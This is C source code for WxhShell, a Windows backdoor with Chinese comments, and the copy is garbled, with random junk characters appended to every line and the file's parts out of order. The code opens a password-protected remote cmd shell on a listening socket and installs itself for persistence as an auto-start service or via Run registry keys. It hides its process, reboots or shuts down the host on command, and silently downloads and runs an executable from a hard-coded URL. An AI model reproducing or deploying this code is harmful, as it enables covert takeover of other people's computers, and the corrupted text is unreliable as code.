    else { +pm8;&  
    closesocket(wsh); F o6U "  
    ExitThread(0); vGw}e&YI  
    } p]oo^  
    break; m+"%Jd{q  
    } jw[`\h}8  
  // 关机 b1 cd5  
  case 'd': { 1P_bG47  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 S& >9l  
    if(Boot(SHUTDOWN)) y;jyfc$ `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { Se93o  
    else { '5--eYG  
    closesocket(wsh); 5KSsRq/8"  
    ExitThread(0); IuF-bxA  
    } @Q!j7I  
    break; :u0433z:  
    } =I1@O9}+i  
  // 获取shell jp]JF h;3  
  case 's': { AtOB'=ph*  
    CmdShell(wsh); ez>@'yhK  
    closesocket(wsh); RT>3\qhZ  
    ExitThread(0); !@X#{  
    break; o_n.,=/cZ  
  } OUPpz_y  
  // 退出 ?6bE!36  
  case 'x': { 8Bvjj|~ (@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yt^+31/%  
    CloseIt(wsh); 6z*L9Vy($  
    break; u4'Lm+&O  
    } uJ$,e5q  
  // 离开 z4goa2@Z  
  case 'q': { G`z48  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Su7?-vY  
    closesocket(wsh);  lzuZv$K  
    WSACleanup(); HChewrUAn  
    exit(1); P +SCX#{y  
    break; T Bco  
        } |D~MS`~qd5  
  } F t}tIP7  
  } wSK?mS6  
C&T3vM  
  // 提示信息 ElAG~u?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e|LXH/H  
} DxBt83e  
  } &}uO ]0bR  
pK`rm"6G  
  return; cPXvT Vvs  
} iR-O6*PTC  
QWkw$mcf  
// shell模块句柄 k <qQ+\X  
int CmdShell(SOCKET sock) u=[oo @Rk`  
{ (2(hl-- 'n  
STARTUPINFO si; h:;~)={"X  
ZeroMemory(&si,sizeof(si)); Ub$$wOsf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u@HP@>V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vIJdl2(^E  
PROCESS_INFORMATION ProcessInfo; -*EJj>x  
char cmdline[]="cmd"; 1\p[mN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zSO[f  
  return 0; ZS-9|EA<  
} QEPmuG  
C*9m `xh  
// 自身启动模式 vC7sJIch2<  
int StartFromService(void) ZttL*KK  
{ _W+TZa@_  
typedef struct rW^&8E[  
{ ec=C7M |  
  DWORD ExitStatus; I2 dt#  
  DWORD PebBaseAddress;  ,Y!)V  
  DWORD AffinityMask; 'K1w.hC<  
  DWORD BasePriority; 7qk61YBL z  
  ULONG UniqueProcessId; ?9mY #_Of  
  ULONG InheritedFromUniqueProcessId; ~$$V=$&  
}   PROCESS_BASIC_INFORMATION; !m;VWGl*  
p,+~dn;=  
PROCNTQSIP NtQueryInformationProcess; l>ttxYBa<d  
Qi%A/~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z 4-wvn<*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %lPP1 R  
DM&"oa50  
  HANDLE             hProcess; #FcYJH  
  PROCESS_BASIC_INFORMATION pbi; CeQcnJU  
!>tXib]:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .^uu* S_  
  if(NULL == hInst ) return 0; it,%T)2H  
wKYfqNCH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?aCR>AY5X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (GV6%l#I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !EFd- fk  
Rq 7ksTo  
  if (!NtQueryInformationProcess) return 0; "hvw2lyp3  
ZFzOW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S:d` z'  
  if(!hProcess) return 0; Q3D xjD  
b?$3jOtW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P'K')]D=!  
4q[r KNl  
  CloseHandle(hProcess); 'Zzm'pC  
efh wbn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |'.SOm9)*  
if(hProcess==NULL) return 0; )_jO8 )jB  
!CWqI)=  
HMODULE hMod; =Yfs=+O  
char procName[255]; n)0{mDf%  
unsigned long cbNeeded; )fa  
Ort\J~ O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZG>OT@ GA  
yE7pCgXt  
  CloseHandle(hProcess); WC4Il C  
FKQnz/  
if(strstr(procName,"services")) return 1; // 以服务启动 I/tzo(r  
jsR1jou6  
  return 0; // 注册表启动 \Q6Ip@?  
} W1OGN4`C  
arB$&s  
// 主模块 }vi%pfrB  
int StartWxhshell(LPSTR lpCmdLine) , ^nUi c  
{ S `[8TZ  
  SOCKET wsl; p)oW'#@a  
BOOL val=TRUE; OjCT%6hy;  
  int port=0; _Sg29qFK  
  struct sockaddr_in door; Fh "S[e  
_EY :vv  
  if(wscfg.ws_autoins) Install(); H(AYtnvB  
BZj[C=#x  
port=atoi(lpCmdLine); H [v~  
Cn"N5(i  
if(port<=0) port=wscfg.ws_port; `DwlS!0  
iTX.? *  
  WSADATA data; &5a>5ZG}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'i,<j s3\f  
uYl ?Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   My ^pQ]@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^v},Sa/ot]  
  door.sin_family = AF_INET; z}&<D YD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eQc!@*:8U  
  door.sin_port = htons(port); Frml'Vfq7  
N*xgVj*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^;2L`U@5  
closesocket(wsl); }$o%^ "[  
return 1; v!x[1[  
} 'Go'87+`  
,&k 5Qq  
  if(listen(wsl,2) == INVALID_SOCKET) { wOsr#t7  
closesocket(wsl); Ne[O9D 7  
return 1; Q.fBuF  
} ^_oLhNoez2  
  Wxhshell(wsl); ;A C] *  
  WSACleanup(); /Iskjcc60W  
F ^\v`l,  
return 0; Bj2rA.M  
?{[H+hzz0  
} 6R<%. -qr  
A +p}oY '  
// 以NT服务方式启动 P8EGd}2{8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mZ5UaSG  
{ rS jC/O&b  
DWORD   status = 0; ug{F?LW[  
  DWORD   specificError = 0xfffffff; )uaB^L1  
#Y:/^Q$_qS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZibODs=f;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #4Z$O(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *iR`mZb  
  serviceStatus.dwWin32ExitCode     = 0; ]* Hz'  
  serviceStatus.dwServiceSpecificExitCode = 0; 6nDx;x&Q  
  serviceStatus.dwCheckPoint       = 0; (lm/S_U$  
  serviceStatus.dwWaitHint       = 0; LgaJp_d>9*  
Q-0[l/A}a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c:iMbJOn#  
  if (hServiceStatusHandle==0) return; v6r w.  
nO/5X>A,Zw  
status = GetLastError(); <@yyx7  
  if (status!=NO_ERROR) x4. #_o&  
{ $~-j-0 \m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CV6H~t'1  
    serviceStatus.dwCheckPoint       = 0; 6nwO:?1o9  
    serviceStatus.dwWaitHint       = 0; 5x: XXj"  
    serviceStatus.dwWin32ExitCode     = status; lC2xl(#!  
    serviceStatus.dwServiceSpecificExitCode = specificError; |N g[^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3o?Lz7L  
    return; ZO`d  
  } 25TEbp[dy  
P-mrH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i|| YD-hkK  
  serviceStatus.dwCheckPoint       = 0; {Xp.}c  
  serviceStatus.dwWaitHint       = 0; ?-VN+ d7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <Du*Re6g  
} VMHY.Rf  
`bm-ONK  
// 处理NT服务事件,比如:启动、停止 kb6v2 ^8H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,|H!b%ZW  
{ ~% c->\Q  
switch(fdwControl) y5#_@  
{ .3!4@l\9C  
case SERVICE_CONTROL_STOP: \<8!b {F  
  serviceStatus.dwWin32ExitCode = 0; XC$~!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z\Q7#dl  
  serviceStatus.dwCheckPoint   = 0; c1/x,1LnMf  
  serviceStatus.dwWaitHint     = 0; uqnZ  
  { pr?/rXw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "gO5dZ\0  
  } f6#H@ X  
  return; p<jr&zVEc>  
case SERVICE_CONTROL_PAUSE: Mc8^{br61  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jHzy1P{?  
  break; &qC>*X.  
case SERVICE_CONTROL_CONTINUE: E% 'DIs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y6s$.93  
  break; ,>^~u  
case SERVICE_CONTROL_INTERROGATE: +u#x[xO  
  break; 7%'<}u  
}; 0jmlsC>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?m!FM:%  
} ieI-_]|[  
YU`{  
// 标准应用程序主函数 YszhoHYh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :Ls36E8f=  
{ BpCSf.zZ  
EAfSbK3z  
// 获取操作系统版本 u|ZO"t  
OsIsNt=GetOsVer(); 3LmHH =  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oMPQkj;  
6i4j(P  
  // 从命令行安装 V;V9_qP,  
  if(strpbrk(lpCmdLine,"iI")) Install(); \5Jv;gc\\  
p .HA `R>  
  // 下载执行文件 +D@R'$N  
if(wscfg.ws_downexe) { ?,NAihN]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oW_WW$+N  
  WinExec(wscfg.ws_filenam,SW_HIDE); (nzt}i0  
} x#^kv)  
OrBFe *2y  
if(!OsIsNt) { c>g%oE  
// 如果时win9x,隐藏进程并且设置为注册表启动 W@tLT[}CG  
HideProc(); 6PH*]#PfoD  
StartWxhshell(lpCmdLine); )N/KQ[W  
} 7Tbkti;  
else F)@<ZE  
  if(StartFromService()) \9p;md`  
  // 以服务方式启动 bo2Od  
  StartServiceCtrlDispatcher(DispatchTable); RB"rx\u7K  
else Ie~~LU  
  // 普通方式启动 EkX6> mo  
  StartWxhshell(lpCmdLine); *E]\l+]J  
%c0;Bb-  
return 0; 5f5ZfK3<i  
} &<V~s/n=6?  
4!jHZ<2 Z  
0TpA3K  
8`2K=`]ES+  
=========================================== ;W].j%]L e  
k-U/x"Pl  
=N c`hP  
;vitg"Zh>  
~iWSc8-  
93\,m+-  
" >MT)=4 9q  
g6V*wjC  
#include <stdio.h> <G >PPf}  
#include <string.h> N[-)c,O  
#include <windows.h> m%&B4E#3T  
#include <winsock2.h> 7h2bL6Y88  
#include <winsvc.h> <c#[.{A}s  
#include <urlmon.h> zCrcCr  
YO,ldsSz|r  
#pragma comment (lib, "Ws2_32.lib") W}RR_Gu  
#pragma comment (lib, "urlmon.lib") c'2ra/?k  
@jHio\/_  
#define MAX_USER   100 // 最大客户端连接数 (R-Q9F+;  
#define BUF_SOCK   200 // sock buffer ~'3% Qr  
#define KEY_BUFF   255 // 输入 buffer ooQ(bF  
B^9 #X5!  
#define REBOOT     0   // 重启 .yPx'_e  
#define SHUTDOWN   1   // 关机 ZTZE_[  
bRp[N  
#define DEF_PORT   5000 // 监听端口 WQx;tX  
67x^{u7  
#define REG_LEN     16   // 注册表键长度 jH1~Ve+q9  
#define SVC_LEN     80   // NT服务名长度 :X f3wP=  
R.N*G]K5  
// 从dll定义API Ox Z:5ps  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &UR/Txnu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U:r2hqegd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7W"menw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w3>|mDA}I  
vvxj{fxb)  
// wxhshell配置信息 4(82dmKO  
struct WSCFG { }3 }=tN5  
  int ws_port;         // 监听端口 ([~`{,sv  
  char ws_passstr[REG_LEN]; // 口令 c29Z1Zs2)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1tdCzbEn+  
  char ws_regname[REG_LEN]; // 注册表键名 27:x5g?  
  char ws_svcname[REG_LEN]; // 服务名 Oe`t!&v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fev3CV$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T#7^6Ks+1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x3 |'jmg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DlI5} Jh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mI#; pO2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]6 wi  
!`lqWO_/ :  
}; T*yveo &j  
sA}R!  
// default Wxhshell configuration e% 6{P  
struct WSCFG wscfg={DEF_PORT, 9 NQq=@  
    "xuhuanlingzhe", \<**SSN  
    1, <J-Z;r(gQN  
    "Wxhshell", QEa=!O  
    "Wxhshell", #1@~w}Dh  
            "WxhShell Service", 46Nf|~  
    "Wrsky Windows CmdShell Service", UmX[=D|  
    "Please Input Your Password: ", Oy$BR <\  
  1, avu,o   
  "http://www.wrsky.com/wxhshell.exe", ;!?K.,N:N  
  "Wxhshell.exe" @U@yIv  
    }; ;4$C$r!t  
b_ yXM  
// 消息定义模块 ^<0NIu}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QaR.8/xV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NCt sx /C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xf9%A2 iB  
char *msg_ws_ext="\n\rExit."; RCXSz  
char *msg_ws_end="\n\rQuit."; p)xI5,b$9  
char *msg_ws_boot="\n\rReboot..."; )7g_v*  
char *msg_ws_poff="\n\rShutdown..."; !`o:+Gg@  
char *msg_ws_down="\n\rSave to "; &tCtCk%{j  
ZnLk :6'  
char *msg_ws_err="\n\rErr!"; g/p9"eBpq  
char *msg_ws_ok="\n\rOK!"; 9'g{<(R]  
2j1v.%  
char ExeFile[MAX_PATH]; \[1CDz=}1  
int nUser = 0; r:4IKuTR  
HANDLE handles[MAX_USER]; E2'e}RQ  
int OsIsNt; ZGhoV#T@  
J5_Y\@  
SERVICE_STATUS       serviceStatus; WG}CPkj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K-C-+RB  
[[h)4H{T  
// 函数声明 389.&`Q%Ut  
int Install(void); a] =\h'S  
int Uninstall(void); L]N2r MM  
int DownloadFile(char *sURL, SOCKET wsh); 92VX5?Cyg  
int Boot(int flag); +|)1_NK  
void HideProc(void); x=Jn&4q  
int GetOsVer(void); 6xh#;+e }  
int Wxhshell(SOCKET wsl); _PUm Pom.  
void TalkWithClient(void *cs); z.&% >%TPP  
int CmdShell(SOCKET sock); N09+idg  
int StartFromService(void); Mk/!,N<h#  
int StartWxhshell(LPSTR lpCmdLine); h./vTNMc  
)=nPM`Jn.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E :=KH\2f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )+4}Ix/q  
O)%kl  
// 数据结构和表定义 [.xk  
SERVICE_TABLE_ENTRY DispatchTable[] = Pl& `&N;  
{ =v$s+`cP  
{wscfg.ws_svcname, NTServiceMain}, KGmc*Jwy  
{NULL, NULL} wn|@D<  
}; ^@L l(?  
Z !25xqNCd  
// 自我安装 p6*a1^lU6  
int Install(void) U9.=Ik  
{ /3 Ix,7  
  char svExeFile[MAX_PATH]; DPQGh`J  
  HKEY key; U4l*;od  
  strcpy(svExeFile,ExeFile); W<|K  
Bi :wP/>v  
// 如果是win9x系统,修改注册表设为自启动 oEoJa:h  
if(!OsIsNt) { }9udo,RWu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?J@qg20z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `W$0T;MPF  
  RegCloseKey(key); ?En| _E_C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Z;8J @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RG r'<o)  
  RegCloseKey(key); Po11EZa$a  
  return 0; -s%-*K+,W  
    } WfT)CIKs  
  } iSz@E&[X  
} m2q;^o:J  
else { o/ g+Z  
fMEv85@JL  
// 如果是NT以上系统,安装为系统服务 aU<D$I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *8X9lv.Z  
if (schSCManager!=0) Q=L$7   
{ d3=6MX[c  
  SC_HANDLE schService = CreateService ]n]uN~)9  
  ( 4:eq{n  
  schSCManager, @W\4UX3dK  
  wscfg.ws_svcname, ?~JxO/K  
  wscfg.ws_svcdisp, @23R joK  
  SERVICE_ALL_ACCESS, e(=~K@m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "K+N f  
  SERVICE_AUTO_START, h9BD ^j  
  SERVICE_ERROR_NORMAL, r>:L$_]L  
  svExeFile, CziaxJ  
  NULL, +.(}u ,:8  
  NULL, *JY`.t  
  NULL, _E1]cbIo  
  NULL, Hdbnb[e  
  NULL 0I>?_?~l6  
  ); SeNF!k% Y  
  if (schService!=0) .W@4vrp@  
  { g\\1C2jG  
  CloseServiceHandle(schService); ' MS!ss=r  
  CloseServiceHandle(schSCManager); 3Da,] w<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s 9|a2/{  
  strcat(svExeFile,wscfg.ws_svcname); @Tfwh/UN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @>#{WI:"~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e8ULf~I  
  RegCloseKey(key); o~o6S=4,}  
  return 0; cbu nq"  
    } NM1cyZ  
  } *0&4mi8  
  CloseServiceHandle(schSCManager); 2 ]DCF  
} 7Z`Mt9:Ht  
} p17|ld`  
eC^0I78x  
return 1; v(Bp1~PPZM  
} 6}i&6@Snq?  
3r-VxP 5n  
// 自我卸载  [ }p  
int Uninstall(void) _/jUs_W  
{ fY%M=,t3c  
  HKEY key; Z.aLk4QO@  
Q k;Kn  
if(!OsIsNt) { .YjrV+om1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i{|lsd(+  
  RegDeleteValue(key,wscfg.ws_regname); BbXU| QtY  
  RegCloseKey(key); dI_r:xN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Iu-'o  
  RegDeleteValue(key,wscfg.ws_regname); ;h,R?mU  
  RegCloseKey(key); ;-9zMbte :  
  return 0; uP(B<NfL:'  
  } S)\JWXi~:J  
} @[5_C?2  
} Mm5U`mB  
else { O$"bd~X  
49xp2{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?z5ne??  
if (schSCManager!=0) !c4)pMd  
{ Z{a{HX[Jx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ![a/kj  
  if (schService!=0) Wkg*J3O  
  { 462!;/ y  
  if(DeleteService(schService)!=0) { 192.W+H<  
  CloseServiceHandle(schService); L,b|Iq  
  CloseServiceHandle(schSCManager); W s^+7u  
  return 0; RRS~ xOg  
  } %\X P:  
  CloseServiceHandle(schService); !cN?SGafZI  
  } ;Na8 _}  
  CloseServiceHandle(schSCManager); k1f3?l vlU  
} S_T{L  
} $ DDSN  
} g3HoFC  
return 1; QmH/yy3.%  
} qE#&)  
FX|0R#4vm  
// 从指定url下载文件 J0?$v6S  
int DownloadFile(char *sURL, SOCKET wsh) Jw:Fj {D  
{ *=$[}!YG  
  HRESULT hr; /'&.aGW4%  
char seps[]= "/"; *Nv y+V  
char *token; k_*XJ<S!Y  
char *file; b?Cmc  
char myURL[MAX_PATH]; 1-6gB@cvQ  
char myFILE[MAX_PATH]; ;f".'9 l^  
wUZQB1$F  
strcpy(myURL,sURL); NK+FQ^m[  
  token=strtok(myURL,seps); '^Pq(b~  
  while(token!=NULL) (j8GiJ]{L,  
  { u;+%Qh  
    file=token; ?G4iOiyt  
  token=strtok(NULL,seps); c&Gz> L  
  } kF(Ce{;z  
K,x$c %  
GetCurrentDirectory(MAX_PATH,myFILE); }iPo8Ra  
strcat(myFILE, "\\"); Po Yr:=S?  
strcat(myFILE, file); QO5OnYh  
  send(wsh,myFILE,strlen(myFILE),0); ; @ 7  
send(wsh,"...",3,0); ELN|;^-/|Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^H5w41  
  if(hr==S_OK) V.K70)]  
return 0; ZhGh {D[,  
else Nl~Z,hT$*  
return 1; U/.w;DI   
Rz.i/w g}  
} " t5 +*  
"2ZIoa!^  
// 系统电源模块 u{g]gA8s  
int Boot(int flag) Q<RT12|`  
{ 8s QQK.N(  
  HANDLE hToken; **T:eI+  
  TOKEN_PRIVILEGES tkp; "[awmZ:wo  
=:4 '  
  if(OsIsNt) { J Z %`%rA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W.yV/fu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vx04h~  
    tkp.PrivilegeCount = 1; &e%{k@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t *o7,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r> Fec  
if(flag==REBOOT) { o{9?:*?7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qA UaF;{  
  return 0; jmRhAJV  
} kj x>  
else { @AvM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .>k=A|3G  
  return 0; xM%H~(  
} hX0RET  
  } G+ :bL S#:  
  else { 2#'rk'X,K  
if(flag==REBOOT) { VKT@2HjNT`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V)2"l"Kt  
  return 0; +7Sf8tg\  
} zTkFX67)  
else { 3sS=?q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NV&;e[z  
  return 0; 0FG5_t"",\  
} hbV E; 9  
} |)^clkuGX  
:L]-'\y  
return 1; / pO{2[  
} K1;z Mh  
|$M@09,F"  
// win9x进程隐藏模块 !-KCFMvT  
void HideProc(void) '!pAnsXfO  
{ 2y^U k,g  
M,&tA1CH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ; Zh9^0  
  if ( hKernel != NULL ) buRhQ"  
  { n49;Z,[~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~@xT]D!BQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S2Zx &D/_  
    FreeLibrary(hKernel); !)NYW4"  
  } Dz,uS nnm  
\^yXc*C  
return; w-J"zC  
} <H<!ht%q3  
\.5F](:  
// 获取操作系统版本 .H ,pO#{;  
int GetOsVer(void) Dp^"J85}   
{ &8Zeq3~  
  OSVERSIONINFO winfo; T0g0jr{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j0AwL7  
  GetVersionEx(&winfo); }|AX_=a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L?C\Q^0"`G  
  return 1; |Es0[cU  
  else U> W|(Y  
  return 0; m[8IEKo  
} =ntft SH  
j(&GVy^;?  
// 客户端句柄模块 HB%K|&!+  
int Wxhshell(SOCKET wsl) !zU/Hq{wcK  
{ xf'LR[M  
  SOCKET wsh; miwf&b  
  struct sockaddr_in client; 9p5= _  
  DWORD myID; yGRR8F5>(  
E\ tL   
  while(nUser<MAX_USER) Z?-;.G*  
{ [9LxhPi  
  int nSize=sizeof(client); 6Ux[,]G K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '[%jjUU  
  if(wsh==INVALID_SOCKET) return 1; ?qy*s3 j'M  
[@ILc*2O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3]N q@t  
if(handles[nUser]==0) wXz\NGW  
  closesocket(wsh); Qy/uB$q{A  
else #kj~G]QA  
  nUser++;  +.=1^+a  
  } U4=]#=R~o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NJk)z&M  
AHq M7+r9  
  return 0; Is ot4HLM  
} iZC>)&ax  
KVg[#~3  
// 关闭 socket C(}^fJ6r  
void CloseIt(SOCKET wsh) JT}.F!q6E  
{ xg?auje  
closesocket(wsh); }*h47t}  
nUser--; V- /YNRV  
ExitThread(0); Mw+v"l&mU  
} _FT6]I0  
>d#3|;RY  
// 客户端请求句柄 I,]J=xi  
void TalkWithClient(void *cs) 0Yp>+:#  
{ KyjyjfIwH  
u >4ArtF  
  SOCKET wsh=(SOCKET)cs; #vtN+E  
  char pwd[SVC_LEN]; w#sq'vo4%  
  char cmd[KEY_BUFF]; V n^)  
char chr[1]; QPX`l0V  
int i,j; Z4#v~!  
oooS s&t  
  while (nUser < MAX_USER) { },&h[\N{6  
Y|_O8[  
if(wscfg.ws_passstr) { ]Y{,Nx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~JLYhA^'+<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z/gsCYS3F  
  //ZeroMemory(pwd,KEY_BUFF); RB IOdz  
      i=0; lirNYJ]tO  
  while(i<SVC_LEN) { !W~QT}  
X{`1:c'x  
  // 设置超时 Oo1ecbY  
  fd_set FdRead; P8<hvMF  
  struct timeval TimeOut; ~}K{e  
  FD_ZERO(&FdRead); 5?w.rcN[j  
  FD_SET(wsh,&FdRead); ;I+H>$%jZ  
  TimeOut.tv_sec=8; |U EC  
  TimeOut.tv_usec=0; "-P/jk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f}2;N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3-iD.IAUm@  
IytDvz*|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $T?]+2,6;  
  pwd=chr[0]; cv]BV>=E  
  if(chr[0]==0xd || chr[0]==0xa) { Ch t%uzb,  
  pwd=0; b4)k&*dfR  
  break; O:._W<  
  } 2$ tQ @r  
  i++; yyjw?#\8  
    } F{\=PCZ>7  
@y5=J`@=  
  // 如果是非法用户,关闭 socket 0yaMe@&,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 57<Di!rt  
} x}|+sS,g  
FfG%C>E6~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V 9Hl1\j^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .;g}%C  
Lc%xc`n8B  
while(1) { rI>LjHP  
y6FKg)  
  ZeroMemory(cmd,KEY_BUFF); )b9_C O}  
r8,om^N6  
      // 自动支持客户端 telnet标准   @D]lgq[  
  j=0; yPN+W8}f  
  while(j<KEY_BUFF) { "Vy WT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l sr?b  
  cmd[j]=chr[0]; H{%H^t>  
  if(chr[0]==0xa || chr[0]==0xd) { T pD;  
  cmd[j]=0; *{|$FQnR>(  
  break; oqYt/4^Q  
  } ceG&,a$\  
  j++; A? r^V2+j  
    } 'g hys1H  
VX!hv`E  
  // 下载文件 SO_>c+Dw  
  if(strstr(cmd,"http://")) { s4bv;W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5z Kqb  
  if(DownloadFile(cmd,wsh)) ]Jn2Ra"j  
